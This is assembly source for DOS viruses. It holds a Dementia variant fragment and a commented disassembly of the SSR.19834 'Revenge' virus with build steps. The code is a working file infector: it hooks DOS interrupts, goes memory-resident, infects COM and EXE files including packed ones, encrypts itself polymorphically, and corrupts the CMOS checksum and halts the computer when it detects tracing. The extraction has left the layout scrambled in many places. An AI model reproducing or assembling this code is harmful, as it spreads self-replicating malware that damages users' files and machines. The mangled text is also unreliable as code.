
cx,word ptr ds:[(column_count-file_begin+100h)] ds es ds si,di si,50h ax,52h ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES) ; SI = offset within segment of te... ; Subtract eighty from the index r... ; Subtract eigty-two from both reg... ; Clear direction flag ; Move two bytes a column up di,ax si,ax move_up ds ; Subtract eighty-two from the ind... ; " " " " "

; Load DS from stack

cx,word ptr ds:[(row_count-file_begin+100h)] ds es ds si,di si,02h ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES) ; SI = offset within segment of te... ; Subtract two from the index regi... ; Set direction flag ; Move two bytes to the left ; Load DS from stack

movsw ds

cx,word ptr ds:[(column_count-file_begin+100h)] cx ; Increase column counter ds es ds si,di si,50h ax,52h ; Save DS at stack ; Save ES at stack ; Load DS from stack (ES) ; SI = offset within segment of te... ; Add eighty to the index register ; Add eighty-two to both index reg... ; Set direction flag ; Move two bytes a column down di,ax si,ax ; Add eighty-two to the index regi... ; " " " " " "

loop pop add add dec jnz dec jz jmp sub_count_: sub dec jz jmp cls_exit: pop ret endp count___ count_ count__ row_count column_count count crypt_end_: file_end: temp_file request_iva filename receipt_iva hot_bbs__com file_specifi origin_code int21_addr int24_addr com_or_exe stack_ptr stack_seg instruct_ptr code_seg initial_ip initial_cs code_seg_ tst_filesize db db db db db db db crypt_begin: code_end: data_end: dw dw dw dw dw dw

move_down ds

; Load DS from stack

word ptr ds:[(row_count-file_begin+100h)],02h word ptr ds:[(column_count-file_begin+100h)],02h word ptr ds:[(count___-file_begin+100h)] reset_cx ; Not zero? Jump to reset_cx word ptr ds:[(count__-file_begin+100h)] sub_count_ ; Zero? Jump to sub_count_ reset_regs word ptr ds:[(count_-file_begin+100h)],08h word ptr ds:[(count-file_begin+100h)] cls_exit ; Zero? Jump to cls_exit reset_count sp ss di si dx cx bx ax ; Return!

00h 00h 00h 00h 00h 00h

; ; ; ; ; ;

Counter Counter Counter Row counter Column counter Counter

db db db db db db db dd dd db dw dw dw dw dw dw dw dw

'!#TEMP#!',00h ; Temporary file 'REQUEST.IVA',00h ; REQUEST.IVA 0dh dup(?) ; Filename 'RECEIPT.IVA ',00h ; RECEIPT.IVA 'HOT_BBS!.COM',00h ; HOT_BBS!.COM '*.*',00h ; File specification 0cdh,21h,? ; Original code of infected COM file ? ; Address of interrupt 21h ? ; Address of interrupt 24h 00h ; COM or EXE executable ? ; Original stack pointer ? ; Original stack segment ? ; Original instruction pointer ? ; Original code segment ? ; Initial IP ? ; Initial CS relative to start of ... ? ; Code segment 00h ; Test or don't test filesize '[Necrosoft.Dementia.Troll]',00h,0dh,0ah 'Copyright 1994 Necrosoft enterprises - All rights reserved',00h,0dh,0ah 'I knew all along that she was the one, ',0dh,0ah ' but I hid it down deep inside. ',0dh,0ah 'I couldn''t bring myself to tell her, ',0dh,0ah ' no matter how I tried. ',0dh,0ah,00h 16h dup(00h)

prepare_demt proc near ; Prepare Dementia.4207.b lea di,crypt_begin_+100h mov cx,(crypt_end_-crypt_begin_)/02h encrypt_loo_: xor [di],1995h ; Encrypt two bytes inc di ; Increase index register inc di ; " " " loop encrypt_loo_ mov jmp endp [call_imm16+100h],cx delta_offset

end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ SSR.19834 ³ ³ or Revenge 2.05 ³ ³ Disassembled by ³ ³ Tcp/29A ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis is one of the biggest known viruses and probably the most encrypted one: four different polymorphic decryption bucles. Only these bucles waste more than 7k of code. About the virus itself, it has many interesting features, it was coded in a pretty uncommon way tho... there's code not used, it's not optimized, and has a lot of messages, apparently (i can't understand russian :) messing with some AVers. This virus seems to be an attempt to laugh about the deficiencies of some antiviruses (and exploit them) rather than writing a virus itself. By the end of the viral code, appear 921 bytes i didn't include in the disassembly as they have nothing to do with the virus, albeit they will be added to every infected file. I guess these bytes being copied are due to the fact that SSR left enough room for its 3 engines and eventually forgot to readjust the size. The binary file included in the \FILES directory is infected with an original copy of the virus and not with what you can get from the assembly of this file (because this source does not include the last 921 bytes of trash code). The code is commented enough so there's nothing else to say... if anybody wants to read something more about the functioning of this virus, i recommend to have a look to what AVPVE says about previous versions of this virus (there are some errors in the description tho).

Other data ÄÄÄÄÄÄÄÄÄÄ Virus : Size : Author : Origin : Disasm by :

Revenge 2.05 (aka SSR.19834) 19834 (11645 code+engines; 5000+1500+768 decryptors; 921 shit) Stainless Steel Rat Russia Tcp/29A

Send any question or comment to tcp@cryogen.com.

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ Engines: tasm /m res.asm tasm /m ssrme.asm tasm /m mme.asm Virus: tasm /m ssr.asm tlink ssr res ssrme mme exe2bin ssr ssr.com - -[SSR.ASM]- - - - SSR assume org - - - - - - - - - - - - - - - - - - - - - - - - - >8 segment cs:SSR, ds:SSR, es:SSR, ss:SSR 0

RES_DEC SSRME_DEC MME_DEC DECRYPTORS

= 768 = 5000 = 1500 = RES_DEC + SSRME_DEC + MME_DEC

SHIT_AT_END SSR_SIZE RES_SIZE SSRME_SIZE MME_SIZE VIRUS_SIZE VIRUSCODE_SIZE host:

= = = = =

921 ((virus_end-virus_start+15)/16)*16 ((911+15)/16)*16 ((1507+15)/16)*16 1133

= SSR_SIZE+RES_SIZE+SSRME_SIZE+MME_SIZE+DECRYPTORS+SHIT_AT_END = VIRUS_SIZE - DECRYPTORS jmp org virus_start 100h ; Infected host ; Virus starts here

virus_start: call next_instruction: pop si jmp nop db get_delta: push pop es push push nop mov add di,si push es xor mov mov mov mov mov mov add ax,si mov mov pushf pop ax shr ah,1 shl inc push ax mov mov mov popf loop nop pop es jmp int1_decryptor: push push cx cmp jz ax cx,0 restore_i1 ; All code decrypted? ; Yes? then jmp di,offset(decrypted_code) sub ds ds es mov si,offset(next_instruction) next_instruction

get_delta

'Hi Hacker! Welcome to Hell',0

; Hi SSR! ;)

cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)

ax,ax es,ax ; ES:=0 ax,es:[1h*4] cs:[si+ofs_int1],ax ; Read & save int1 ax,es:[1h*4+2] cs:[si+seg_int1],ax ax,offset(int1_decryptor) es:[1h*4],ax es:[1h*4+2],cs ; Set new int1

ah,1 ah

; AH:=xxx0 ; AH:=xxx1 (trace flag on)

al,cs:[si+starting_dec_selector] cs:[si+dec_selector],al al,cs:[si+i1_mask] ; Trace flag on $ ; Decrypt code via int1

decrypted_code

nop nop nop call mov cl,al mov decrypt_instruction: xor encrypt_decrypt db inc di pop cx pop ax iret restore_i1: add mov mov mov mov 2 sp,4 ax,cs:[si+ofs_int1] es:[1h*4],ax ax,cs:[si+seg_int1] es:[1h*4+2],ax ; Restore original int1 select_dec_inst cs:[si+encrypt_decrypt],90h cs:[di],al 90h ; Select instruction from table ; NOP for decryption ; RET for encryption

retf

i1_mask db 0 starting_dec_selector db ofs_int1 dw 0 seg_int1 dw 0 select_dec_inst: push cx push ax push si push di mov bx,si mov mov add di,si add si,bp mov ror al,1 mov and al,3 mov cl,3 mul cl add call pop di pop si pop ax pop cx ret copy_instruction: push ds push es push cs push cs pop ds pop es cld mov cx,3 rep pop es

0

bp,offset(decryption_instructions) di,offset(decrypt_instruction)

al,cs:[bx+dec_selector] cs:[bx+dec_selector],al

si,ax copy_instruction

; Select instruction

movsb

pop ds ret dec_selector db 0

decryption_instructions: sub cs:[di],al add cs:[di],al xor cs:[di],al rol byte ptr cs:[di],cl decrypted_code: cmp je nop nop nop mov di,offset(header) add di,si push si mov si,100h xchg di,si mov cx,e_header_exe-header_exe rep movsb ; Restore host (COM) pop si host_exe: push es xor ax,ax mov es,ax ; ES:=0 cmp es:[198h],0DEADh ; Resident? pop es jne install_virus ; No? then jmp nop nop nop jmp restore_exec_host install_virus: xor ax,ax mov es,ax mov ax,es:[30h*4+3] mov [si+realseg_i2f],ax mov ax,es:[1h*4] mov cs:[si+ofs_i1],ax mov ax,es:[1h*4+2] mov cs:[si+seg_i1],ax mov ax,es:[2Fh*4] mov cs:[si+ofs_i2f],ax mov ax,es:[2Fh*4+2] mov cs:[si+seg_i2f],ax mov es:[1h*4],offset(int_1) add es:[1h*4],si mov es:[1h*4+2],cs pushf pop ax and ah,0FEh inc ah push ax popf jmp start_tunneling nop db cs:[si+host_type],1 host_exe ; Exe file? ; Yes? then jmp

; ; ; ; ; ; ; ; ; ; ; ;

ES:=0 Get int 21h segment (CP/M) Store for tunneling int 2Fh Offset int 1 Store it Segment int 1 Store it Offset int 2Fh Store it Segment int 2Fh Store it Tunneler

; AX:=flags ; Trace flag on

'Move over, I said move over',0

db db

'Hey, hey, hey, clear the way',0 'There''s no escape from my authority - I tell you -',0

start_tunneling: mov ax,0ABCDh push ds push es push si pushf ; db 9Ah ; ofs_i2f dw 0 seg_i2f dw 0 pushf pop ax ; and ah,0FEh ; push ax popf ; pop si pop es pop ds mov ax,cs:[si+ofs_i1] mov es:[1h*4],ax ; mov ax,cs:[si+seg_i1] mov es:[1h*4+2],ax xor bx,bx mov dx,bx mov ax,1300h push ds push es push si call int_2f ; pop si mov cs:[si+ofs_i13],dx ; mov cs:[si+seg_i13],ds mov ax,1300h push si call int_2f ; Restore pop si pop es pop ds jmp make_resident nop ofs_i1 seg_i1 int_1: pushf push getdelta_i1: pop si push push push pushf sub ax bp bx si,offset(getdelta_i1) si call dw dw 0 0

Simulated int 2Fh call far

AX:=flags Trace flag off Stop tunneling

Restore original int 1

Get real int13h in DS:DX Store it

address from previous call

getdelta_i1

; Get delta-offset

pop mov bp,sp mov cmp jne nop

bx ax,cs:[si+realseg_i2f] [bp+0Ch],ax no_real_i2f

; Flags

; Original int 2Fh segment? ; No? then jmp

nop nop mov mov mov no_real_i2f: pop bx pop bp pop ax pop si popf iret int_2f: pushf realofs_i2f realseg_i2f db dw dw ret 9Ah 0 0 ; call far ax,[bp+0Ah] cs:[si+realofs_i2f],ax [bp+0Eh],bx ; Get int 2fh offset ; Store it ; Flags

make_resident: mov dec ax mov mov mov mov nop mov cl,4 shr inc bx inc bx add sub dec add bx,40000/16 es:[3],bx word ptr es:[3] ax,es:[3] ; Space for encryption buffers ; Build a new MCB bx,cl ; div 16 es,ax dh,es:[0] byte ptr es:[0],'M' bx,VIRUSCODE_SIZE+100h ; ES->MCB ; Get 'M' or 'Z' ; Mark current block as 'middle' ax,ds

inc ax mov es,ax mov es:[0],dh mov word ptr es:[8],0 inc ax mov es:[1],ax mov es:[3],bx add ax,1 mov es,ax push si xor di,di mov cx,VIRUSCODE_SIZE nop l_copy_code: mov ah,cs:[si+100h] mov es:[di],ah inc si inc di loop l_copy_code pop si push ds push es pop ds xor ax,ax mov es,ax mov bx,es:[21h*4] mov es,es:[21h*4+2]

; Put 'M' or 'Z' ; Block owner name ; Paragraph of owner ; Chain next MCB

; Copy code to new MCB

; ES:=0 ; Get int 21h

mov mov mov mov mov mov mov

seg_i21-100h,es ; Store it ofs_i21-100h,bx seg_i21_2-100h,es ofs_i21_2-100h,bx ax,es:[bx] ; Read 2 bytes from int 21h entry _2bytes_21h-100h,ax ; Store bytes es:[bx],0ACCDh ; Change bytes to 'int 0ACh'

pop es push si push cx xor si,si mov cx,int_24-virus_start nop in al,40h ; Get random number l_crypt_memcode: push cx mov mem_mask-100h,al ; Store mask mov cl,al add [si],cl ; Encrypt code in memory ror byte ptr [si],cl xor [si],cl inc si pop cx loop l_crypt_memcode pop cx pop si xor ax,ax mov es,ax ; ES:=0 cli mov es:[0ABh*4],offset(int_ab)-100h ; Set new int 0ABh mov es:[0ABh*4+2],ds mov es:[0ACh*4],offset(int_ac)-100h ; Set new int 0ACh mov es:[0ACh*4+2],ds mov es:[1Ch*4],offset(int_1c)-100h ; Set new int 1Ch mov es:[1Ch*4+2],ds mov es:[6h*4],offset(int_6)-100h ; Set new int 6 mov es:[6h*4+2],ds sti mov _signature-100h,dx ;?? mov returnAX_fffn-100h,dx ;?? jmp restore_exec_host int_ab: push push push push push push push push push push push cli inc sp nop dec sp dec sp sti pushf ax bx cx dx bp si di ds es ax mov ax inc

ax,':)'

; Check if anyone is tracing

sp

pop ax cmp je nop nop nop mov al,2Eh out out cli hlt no_tracing: pop ax push es push ax xor ax,ax mov mov mov mov pop ax pop es cmp je nop nop nop cmp je nop nop nop cmp jne nop nop nop jmp cmp_fn: cmp je jmp jmp_fffn: jmp try_to_infect: mov call search_extension: mov ah,[di] cmp jne jmp search_dot: cmp je nop nop nop ah,'.' found_dot ; Dot? ; Yes? then jmp di,dx convert2uppercase ; Convert filename to uppercase ff_fn ah,4Fh jmp_fffn popregs_iret ; Find-Next (handle)? ; Yes? then jmp ax,':)' no_tracing ; Being traced? ; No? then jmp

70h,al 71h,al

; CMOS: Select address 2Eh (checksum) ; CMOS: Write 2Eh (corrupt checksum) ; Halt computer

es,ax ; ES:=0 es:[198h],0DEADh ; Residency mark ax,cs:infection_count-100h es:[88h*4],ax ; ??

ax,4B00h try_to_infect

; Exec? ; Yes? then jmp

ah,3Dh try_to_infect

; Open? ; Yes? then jmp

ah,4Eh cmp_fn

; Find-first (handle)? ; No? then jmp

ff_fn

ah,0 search_dot popregs_iret

; End of string? ; No? then jmp ; Yes? then jmp (no dot)

inc jmp found_dot: inc di cmp jne nop nop nop cmp je jmp jmp_jmp_infect: jmp nop check_if_exe: cmp je jmp maybe_exe: cmp je jmp jmp_infect: jmp nop db infect: push es push ds push dx mov cx,cs sub cx,10h mov ds,cx mov call mov mov mov mov call pop dx pop ds pop es push ds push dx mov call jnc nop nop nop pop dx pop ds jmp

di ; Next char search_extension

word ptr [di],'OC' check_if_exe

; *.CO*? ; No? then jmp

byte ptr [di+2],'M' jmp_jmp_infect popregs_iret

; *.COM? ; Yes? then jmp

jmp_infect

word ptr [di],'XE' maybe_exe popregs_iret

; *.EX*? ; Yes? then jmp

byte ptr [di+2],'E' jmp_infect popregs_iret

; *.EXE? ; Yes? then jmp

infect

'Gimme the prize, just gimme the prize',0

ax,3524h int_21 ; Get int 24h ofs_i24,bx ; Save it seg_i24,es dx,offset(int_24) ah,25h int_21 ; Set new int 24h

ax,4300h int_21 reset_attr

; Get file attributes

restore_i24

reset_attr: mov mov xor call jnc nop nop nop pop dx pop ds jmp check_name: call push es xor ax,ax mov mov mov mov mov mov mov mov di,dx l_search_ext: cmp je nop nop nop inc di jmp found_ext: mov mov mov mov mov ax,3D02h push es call pop es jnc nop nop nop call pop es jmp open_ok: push pop ax pop es jmp nop int_2a: cmp jne ah,82h exit_i2a ; Int 2Ah: Called by int 21h ; End DOS critical sections 0-7 ? ; No? then jmp read_header ax call restore_i2a al,[di+1] ; Get first char of extension cs:byte_ext-100h,al ; Save it cs:ofs_byte_ext-100h,di ; and save its address cs:seg_byte_ext-100h,ds ; BUG!!! Missing 'mov [di+1],xx' check_valid_fname restore_i24 cs:attributes-100h,cx ax,4301h cx,cx int_21 ; Reset attributes check_name

es,ax ; ES:=0 ax,es:[2Ah*4] ; Get int 2Ah cs:ofs_i2a-100h,ax ax,es:[2Ah*4+2] cs:seg_i2a-100h,ax es:[2Ah*4],offset(int_2a)-100h es:[2Ah*4+2],cs

; Set new int 2Ah

byte ptr [di],'.' found_ext

; Dot? ; Yes? then jmp

l_search_ext

int_21 open_ok

; Open file I/O

restore_i2a restore_attr

nop nop nop push push push

es di ax mov mov mov mov mov

di,cs:seg_byte_ext-100h ; Restore file extension es,di di,cs:ofs_byte_ext-100h al,cs:byte_ext-100h es:[di+1],al

pop ax pop di pop es exit_i2a: iret ofs_byte_ext seg_byte_ext byte_ext ofs_i2a seg_i2a restore_i2a: mov mov mov mov ret read_header: mov sub mov mov mov mov mov call jnc jmp get_timedate: mov ax,5700h call jnc jmp timedate_ok: push mov mov cl,5 shr ax,cl and mov dx,ax pop and cmp jne jmp check_header: mov file_month,dx ; Save file month cx ax,dx ; File date cx,cs cx,10h ds,cx ; DS:=CS-10h bx,ax ah,3Fh cx,e_header_exe-header_exe dx,offset(header) int_21 ; Read file header get_timedate close_file ax,cs:ofs_i2a-100h es:[2Ah*4],ax ax,cs:seg_i2a-100h es:[2Ah*4+2],ax ; Restore int 2Ah dw dw db dw dw 0 0 0 0 0

int_21 timedate_ok close_file

; Get file time/date

ax,0Fh ax ax,1Fh ax,dx check_header close_file

; Get month ; ; ; ; File time Get seconds Infected? (seconds==month) No? then jmp

cmp jne jmp cmp_mark2: cmp jne jmp is_com: mov call jc nop nop nop mov dx,190h mov ah,3Fh call add mov dx,190h mov ah,40h call mov mov dx,1 add xor cx,cx mov ax,4200h call jnc jmp patch_pklite_com: mov mov cx,2 mov call jnc jmp patch_pklite_com2: mov xor jmp no_pk_com: mov cmp jne nop nop nop mov add mov mov mov mov dx,190h mov ah,3Fh call add

_signature,'ZM' cmp_mark2 is_exe

; Exe mark? ; No? then jmp ; Yes? then jmp

_signature,'MZ' is_com is_exe

; Exe mark? ; No? then jmp ; Yes? then jmp

host_type,0 check4pklite_com no_pk_com

; COM file ; PKLited file? ; No? then jmp

lseekDX_functionAX encrypted_byte,53h

; Lseek 190h & read a byte ; Encrypt it

lseekDX_functionAX pklite_com,1 dx,inc_ofs_patch1

; Lseek 190h & write the byte ; It's a pklited file ; offset 2 for Pklite 1.50+ ; offset 1 for other versions

int_21 patch_pklite_com close_file

dx,offset(_FFFF) ah,40h int_21

; Patch file with a 0FFFFh to give ; control to the out-of-memory routine patch_pklite_com2 close_file

dx,ofs_patchcom2 cx,cx mark_encrypted

; Offset of 2nd patch

pklite_com,0 byte ptr header,0E9h cmp_call

; It isn't a pklited file ; Start with a JMP? ; No? then jmp

ax,word ptr header+1 ax,3 jmp_dest,ax word ptr header,0EBAh encrypted_byte?,0FFh

; Offset of jump ; Destiny of jump ; This will be the entry point

lseekDX_functionAX encrypted_byte,53h

; Lseek 190h and read a byte ; Encrypt it

mov dx,190h mov ah,40h call jmp nop cmp_call: cmp jne nop nop nop mov add mov mov mov jmp nop encrypt190: mov dx,190h mov ah,3Fh call add mov dx,190h mov ah,40h call jmp nop lseekDX_functionAX: push ax mov xor call pop ax mov mov call ret mark_no_pkcom: xor xor mov mark_encrypted: mov mov jmp nop mark_no_pkcom2: mov xor xor check_com_size: push cx push dx mov xor xor call

lseekDX_functionAX mark_no_pkcom2

; Lseek 190h and save the byte

byte ptr header,0E8h encrypt190

; CALL? ; No? then jmp

ax,word ptr header+1 ax,3 jmp_dest,ax word ptr header,0EBAh encrypted_byte?,0 mark_no_pkcom2

; Offset of call ; Destiny of call ; This will be the entry point

lseekDX_functionAX encrypted_byte,53h

; Lseek 190h and read a byte ; Encrypt it

lseekDX_functionAX mark_no_pkcom

; Lseek 190h and write the byte

ax,4200h cx,cx int_21

; Lseek start+DX

dx,offset(encrypted_byte) cx,1 int_21 ; Perform AX function

dx,dx cx,cx pklite_com,0 jmp_dest,0 encrypted_byte?,0FFh check_com_size

pklite_com,0 cx,cx dx,dx

ax,4202h cx,cx dx,dx int_21

; Lseek end

pop dx pop cx cmp jb jmp cmp_little: cmp ja jmp size_ok: mov add cmp jne nop nop nop sub sub jmp nop calc_ofs_jmp: sub store_jmp_virus: mov mov mov call jnc jmp write_jmp: mov mov mov call jnc jmp jmp_append_code: jmp nop db append_code: mov xor xor call mov nop mov mov ds cs xor xor rep ax,0BA00h es,ax ; Encryption buffer ax,4202h cx,cx dx,dx int_21 ; Lseek end cx,VIRUSCODE_SIZE 'Save me,save me',0 append_code ah,40h dx,offset(jmp_com) cx,3 int_21 ; Write jmp jmp_append_code close_file jmp_vir_h,ah jmp_vir_l,al ax,4200h int_21 write_jmp close_file ax,3 ; Jmp to virus in non-pklited file ax,3 ; Calculate jmp to virus in pklite code ax,ofs_patchcom2 store_jmp_virus cs:ofs_vircode-100h,ax ; Calc runtime offset cs:ofs_vircode-100h,100h pklite_com,1 ; Pklited file? calc_ofs_jmp ; No? then jmp ax,400 size_ok close_file ; Little file? ; No? then jmp ax,27434 cmp_little close_file ; Big file? ; No? then jmp

; Lseek to offset to patch

push push pop ds

si,si di,di movsb

; Copy code to encryption buffer

pop ds in mov mov mov nop in mov mov sub xor l_enc_i1: call push cx mov cl,al enc_inst: nop nop nop pop cx inc di loop jmp db db db db db db db db crypt_code_and_save: push ds push es pop ds push bx mov push bx add mov mov shr ax,cl inc ax mov dx,cs add ax,dx mov es,ax mov nop xor dx,dx push es push ds call pop es xor di,di xor si,si push cx cld rep pop cx push es pop ds encrypt_i1 al,40h ; Get random number es:i1_mask-100h,al di,offset(decrypted_code) di,100h dx,dx al,40h ; Get random number es:starting_dec_selector-100h,al enc_selector,al cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)

l_enc_i1 crypt_code_and_save 0 'Give me your WEBs, let me squeeze them in my hands,',0 'Your puny scaners,',0 'Your so-called heuristics analyzers,',0 'I''ll eat them whole before I''m done,',0 'The battle''s fought and the game is won,',0 'I am the one the only one,',0 'I am the god of kingdom come,',0

bx,cs:ofs_vircode-100h bx,MME_DEC+SSRME_DEC ax,VIRUSCODE_SIZE cl,4 ; Prepare buffer

cx,VIRUSCODE_SIZE

res_engine

; Call engine

movsb

pop es pop bx push push push

bx add es ds call

bx,MME_DEC

ssrme_engine

; Call engine

pop es xor di,di xor si,si push cx cld rep pop cx push es pop ds pop es pop bx call pop bx push ds mov ah,40h call pop es pop ds jnc jmp check_pkexe_snd: cmp jne jmp check_pkcom_snd: cmp jne jmp check_tlink_snd: cmp jne jmp check_lzexe_snd: cmp jne jmp jmp_SND: jmp nop db SND: xor cx,cx xor dx,dx mov ax,4200h call push ds mov ax,0BA00h mov mov ah,3Fh

movsb

mme_engine

; Call engine

int_21

; Write virus body to disk

check_pkexe_snd close_file

pklite_exe,1 check_pkcom_snd set_infection_mark

; PKLited EXE file? ; No? then jmp

pklite_com,1 check_tlink_snd set_infection_mark

; PKLited COM file? ; No? then jmp

byte ptr word_ofs1C,1 check_lzexe_snd set_infection_mark

; Linked with Borland TLINK? ; No? then jmp

word_ofs1C,'ZL' jmp_SND set_infection_mark

; LZEXE file? ; No? then jmp

SND

'Seek aNd Destroy Technology [SND]',0

int_21

; Lseek start

ds,ax

; DS:=0BA00h

xor dx,dx mov call push ax mov xor di,di l_next_SND: cmp je nop nop nop cmp jne nop nop nop cmp jne nop nop nop mov mov push ax call and mov bp,ax mov mov call mov [di+2],al mov dl,al pop ax xor mov add di,4 jmp nop cmp_movax_int21h: cmp jne nop nop nop mov mov push ax call and mov bp,ax mov inc mov call mov mov dl,al mov dh,al pop ax xor mov add di,5

cx,16*1024 int_21 cx,ax

; Read 16KB from file ; CX:=number of bytes read

byte ptr [di],0B8h cmp_movax_int21h

; MOV AX,xxxx? ; Yes? then jmp

byte ptr [di],0B4h next_SND

; MOV AH,xx? ; No? then jmp

word ptr [di+2],21CDh next_SND

; INT 21h?

; Found MOV AH,xx + INT 21h al,[di+1] byte ptr [di],0F0h get_random ax,7 ; Get xx in MOV AH,xx ; Int 6h when executed

; AX in [0..7]

al,byte ptr cs:[bp+SND_table-100h] [di+1],al ; Gen instruction get_random

al,dl [di+3],al next_SND

; Encrypt original byte ; and store it

word ptr [di+3],21CDh next_SND

; INT 21h?

ax,[di+1] byte ptr [di],0F0h get_random ax,7

; xxxx in MOV AX,xxxx ; Int 6h when executed

; AX in [0..7]

al,byte ptr cs:[bp+SND_table-100h] al ; AL -> AX [di+1],al ; Generate opcode get_random [di+2],al ; Random number

ax,dx [di+3],ax

; Encrypt original word ; and store it

next_SND: inc di loop xor dx,dx xor cx,cx mov call pop ax xor dx,dx mov cx,ax mov ah,40h call pop ds jmp nop get_random: pushf in xor al,cs:[bx] ror al,cl add al,53h popf ret SND_table: db db db db db db db db set_infection_mark: mov ax,5700h call mov mov cl,5 shr ax,cl shl add mov cx,ax mov ax,5701h call jc nop nop nop mov mov jmp nop db close_infected: mov call inc jmp nop ah,3Eh int_21 ; Close file infection_count restore_attr 3Ch 24h 14h 0Ch 34h 1Ch 2Ch 04h ; ; ; ; ; ; ; ; cmp and adc or xor sbb sub add al,xx al,xx al,xx al,xx al,xx al,xx al,xx al,xx (+1 (+1 (+1 (+1 (+1 (+1 (+1 (+1 = = = = = = = = cmp and adx or xor sbb sub add ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) ax,xxxx) al,40h ; Get random number l_next_SND

ax,4200h int_21

; Lseek start

int_21

; Write code

set_infection_mark

int_21 ax,cx

; Get file date/time ; file time

ax,cl ax,file_month

; Clear seconds field ; Set infection mark (seconds=month)

int_21 close_file

; Set file date/time

pklite_exe,0 pklite_com,0 close_infected

'- THERE CAN BE ONLY ONE -',0

close_file: mov ah,3Eh call restore_attr: mov pop dx pop ds mov ax,4301h call restore_i24: push ds mov ax,2524h mov mov mov ds,bx call pop ds mov mov push ds push cs pop ax dec ax dec ax push ax pop ds inc cmp pop ds je jmp check_activation: cmp jae jmp activation: mov sub mov call jmp is_exe: mov call jc nop nop nop jmp nop db pk_exe: mov jmp nop

int_21 cx,attributes

; Close file

int_21

; Restore attributes

dx,cs:ofs_i24-100h bx,cs:seg_i24-100h int_21 pklite_exe,0 pklite_com,0 ; Restore int 24h

word ptr ds:[8] word ptr ds:[8],50 check_activation popregs_iret

; Inc number of files processed ; 50 files? ; Yes? then jmp

cs:tick_counter-100h,900*18 ; >=900 seconds? (>15 mins.) activation popregs_iret

ax,cs ax,10h ds,ax print_REVENGE popregs_iret

; DS:=CS-10h

host_type,1 check4pklite_exe no_pk_exe

; EXE file ; Pklited file? ; No? then jmp

pk_exe

'I''M GOING SLIGHTLY MAD'

pklite_exe,1 process_exe

; It's a pklited exe

no_pk_exe: mov process_exe: mov mov shl add mov dx call add mov call jmp nop db store_header: push push push 'Don''t lose your header',0 cl,4 dx,_hdrsize dx,cl dx,512 ah,3Fh lseekDX_functionAX encrypted_byte,7Eh ah,40h lseekDX_functionAX store_header pklite_exe,0 ; It isn't a pklited exe

; *16 (Header size in bytes)

push

; Read a byte ; Encrypt it

pop dx ; Write byte

si di es mov mov mov ds rep

si,offset(header) di,offset(header_exe) cx,e_header_exe-header_exe

cld push pop es pop es pop di pop si

movsb

; Store header

mov xor cx,cx xor dx,dx call jnc jmp check_size_exe: cmp jnz nop nop nop cmp jae jmp check_big_exe: cmp jb jmp fix_header: mov mov clc add nop adc mov

ax,4202h

int_21 check_size_exe close_file

; Lseek end

dx,0 check_big_exe

; > 64k? ; Yes? then jmp

ax,4000 check_big_exe close_file

; >= 4000 bytes? ; Yes? then jmp ; No? then jmp (too small)

dx,9 fix_header close_file

; > 9*64k ? ; No? then jmp ; Yes? then jmp (too big)

size_exe_l,ax size_exe_h,dx ax,VIRUS_SIZE dx,0 cx,512

; Store file size

push

div mov inc mov mov mov mov div mov sub mov mov mov ax mov mov xor xor mov call jnc jmp

cx pagecnt,ax pagecnt partpag,dx ax,size_exe_l dx,size_exe_h cx,16 cx exeip,dx ax,hdrsize relocs,ax reloss,ax exesp,0FFFEh ax,exeip ofs_vircode,ax

; Calculate number of pages ; Not always!!! ; Length of partial page at end ; Get original size

; Calculate virus segment and IP ; Virus IP ; Virus segment ; Stack segment ; SP

; Virus runtime offset

pop ax dx,dx cx,cx ax,4200h int_21 ; Lseek start patch_pk_header? close_file

patch_pk_header?: cmp jne nop nop nop mov mov mov add mov mov mov mov mov write_header_exe: mov mov mov call jnc jmp wrote_header_exe: cmp je jmp patch_pkexe: mov mov add xor call mov mov nop mov call

pklite_exe,1 write_header_exe

; Pklited exe? ; No? then jmp

ax,exeip pk_exe_ip,ax ax,relocs ax,10h pk_exe_cs,ax ax,_exeip exeip,ax ax,_relocs relocs,ax

; Add PSP ; Header points to Pklite code

dx,offset(header_exe) cx,e_header_exe-header_exe ah,40h int_21 ; Write new header wrote_header_exe close_file

pklite_exe,1 patch_pkexe append_code

; Pklited exe? ; Yes? then jmp

ax,4200h dx,ofs_segcode dx,29h cx,cx int_21 ah,40h ; Lseek to code segment+29h cx,e_pkexe_patch-pkexe_patch dx,offset(pkexe_patch) int_21 ; Write patch

jnc jmp patch2_pkexe: mov mov add xor call mov mov mov call jnc jmp jmp2_append_code: jmp jmp_xx_pkexe pkexe_patch: mov add jmp db dw dw db

patch2_pkexe close_file

ax,4200h dx,ofs_segcode dx,0Dh cx,cx int_21 ; Lseek to code segment+0Dh ah,40h cx,1 dx,offset(jmp_xx_pkexe) int_21 ; Write jmp (force jmp to patched code) jmp2_append_code close_file

append_code 0EBh ; jmp xx

pk_exe_ip pk_exe_cs e_pkexe_patch: size_exe_l size_exe_h pklite_exe

ax,es cs:[135h],ax $+2 0EAh 0 0

; jmp far to virus start

dw dw db

0 0 0 ; 0 = Exe-file not compressed with Pklite ; 1 = Exe-file compressed with Pklite

header_exe: signature partpag pagecnt relocnt hdrsize minmem maxmem reloss exesp chksum exeip relocs tabloff overlay

dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

e_header_exe: db ff_fn: call jnc jmp found_fffn: int_21 found_fffn exit_fffn_preserve_AX 'Just very slightly mad !',0

mov call mov and cmp jne jmp no_directory: mov mov cx mov mov shr and mov pop and cmp jne

